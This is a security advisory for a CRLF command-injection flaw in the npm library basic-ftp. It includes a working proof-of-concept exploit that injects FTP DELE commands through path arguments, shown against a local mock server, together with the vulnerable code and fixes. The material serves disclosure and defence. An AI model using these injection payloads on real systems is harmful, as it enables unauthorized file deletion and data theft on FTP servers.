CVE-2026-39983
HIGH8.6EPSS 2.0%basic-ftp has FTP Command Injection via CRLF
Description
## Summary `basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\r\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\r\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. ## Affected product | Product | Affected versions | Fixed version | | --- | --- | --- | | basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 | ## Vulnerability details - CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection') - CVSS 3.1: `8.6` (`High`) - Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` - Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()` The vulnerability exists because of two interacting code patterns: **1. Inadequate path sanitization in `protectWhitespace()` (line 677):** ```javascript async protectWhitespace(path) { if (!path.startsWith(" ")) { return path; // No sanitization of \r\n characters } const pwd = await this.pwd(); const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/"; return absolutePathPrefix + path; } ``` This function only handles leading whitespace. It does not strip or reject `\r` (0x0D) or `\n` (0x0A) characters anywhere in the path string. **2. Direct socket write in `send()` (FtpContext.js line 177):** ```javascript send(command) { this._socket.write(command + "\r\n", this.encoding); } ``` The `send()` method appends `\r\n` to the command and writes directly to the TCP socket. If the command string already contains `\r\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands. **Affected methods** (all call `protectWhitespace()` → `send()`): - `cd(path)` → `CWD ${path}` - `remove(path)` → `DELE ${path}` - `list(path)` → `LIST ${path}` - `downloadTo(localPath, remotePath)` → `RETR ${remotePath}` - `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}` - `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}` - `removeDir(path)` → `RMD ${path}` ## Technical impact An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling: 1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server 2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories 3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files 4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands 5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user 6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly The attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server. ## Proof of concept **Prerequisites:** ```bash mkdir basic-ftp-poc && cd basic-ftp-poc npm init -y npm install [email protected] ``` **Mock FTP server (ftp-server-mock.js):** ```javascript const net = require('net'); const server = net.createServer(conn => { console.log('[+] Client connected'); conn.write('220 Mock FTP\r\n'); let buffer = ''; conn.on('data', data => { buffer += data.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('[CMD] ' + JSON.stringify(line)); if (line.startsWith('USER')) conn.write('331 OK\r\n'); else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n'); else if (line.startsWith('FEAT')) conn.write('211 End\r\n'); else if (line.startsWith('TYPE')) conn.write('200 OK\r\n'); else if (line.startsWith('PWD')) conn.write('257 "/"\r\n'); else if (line.startsWith('OPTS')) conn.write('200 OK\r\n'); else if (line.startsWith('STRU')) conn.write('200 OK\r\n'); else if (line.startsWith('CWD')) conn.write('250 OK\r\n'); else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n'); else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); } else conn.write('200 OK\r\n'); } }); }); server.listen(2121, () => console.log('[*] Mock FTP on port 2121')); ``` **Exploit (poc.js):** ```javascript const ftp = require('basic-ftp'); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; try { await client.access({ host: '127.0.0.1', port: 2121, user: 'anonymous', password: 'anonymous' }); // Attack 1: Inject DELE command via cd() // Intended: CWD harmless.txt // Actual: CWD harmless.txt\r\nDELE /important-file.txt const maliciousPath = "harmless.txt\r\nDELE /important-file.txt"; console.log('\n=== Attack 1: DELE injection via cd() ==='); try { await client.cd(maliciousPath); } catch(e) {} // Attack 2: Double DELE via remove() const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt"; console.log('\n=== Attack 2: DELE injection via remove() ==='); try { await client.remove(maliciousPath2); } catch(e) {} } finally { client.close(); } } exploit(); ``` **Running the PoC:** ```bash # Terminal 1: Start mock FTP server node ftp-server-mock.js # Terminal 2: Run exploit node poc.js ``` **Expected output on mock server:** ``` "OPTS UTF8 ON" "USER anonymous" "PASS anonymous" "FEAT" "TYPE I" "STRU F" "OPTS UTF8 ON" "CWD harmless.txt" "DELE /important-file.txt" <-- injected from cd() "DELE decoy.txt" "DELE /secret-data.txt" <-- injected from remove() "QUIT" ``` This command trace was reproduced against the published `[email protected]` package on Linux with a local mock FTP server. The injected `DELE` commands are received as distinct FTP commands, confirming that CRLF inside path parameters is not neutralized before socket write. ## Mitigation **Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp: ```javascript function sanitizeFtpPath(path) { if (/[\r\n]/.test(path)) { throw new Error('Invalid FTP path: contains control characters'); } return path; } // Usage await client.cd(sanitizeFtpPath(userInput)); ``` **Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\r` and `\n` characters from all path inputs: ```javascript async protectWhitespace(path) { // Reject CRLF injection attempts if (/[\r\n\0]/.test(path)) { throw new Error('Invalid path: contains control characters'); } if (!path.startsWith(" ")) { return path; } const pwd = await this.pwd(); const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/"; return absolutePathPrefix + path; } ``` ## References - [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp) - [GitHub repository](https://github.com/patrickjuchli/basic-ftp) - [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts) - [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)
Affected packages (2)
- Debian/node-proxy-agentsfrom 0
- npm/basic-ftp>= 5.2.0, < 5.2.1
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH8.6 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L |
References (6)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-39983
- ADVISORYhttps://security-tracker.debian.org/tracker/CVE-2026-39983
- PATCHhttps://github.com/patrickjuchli/basic-ftp
- WEBhttps://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b
- WEBhttps://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1
- WEBhttps://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q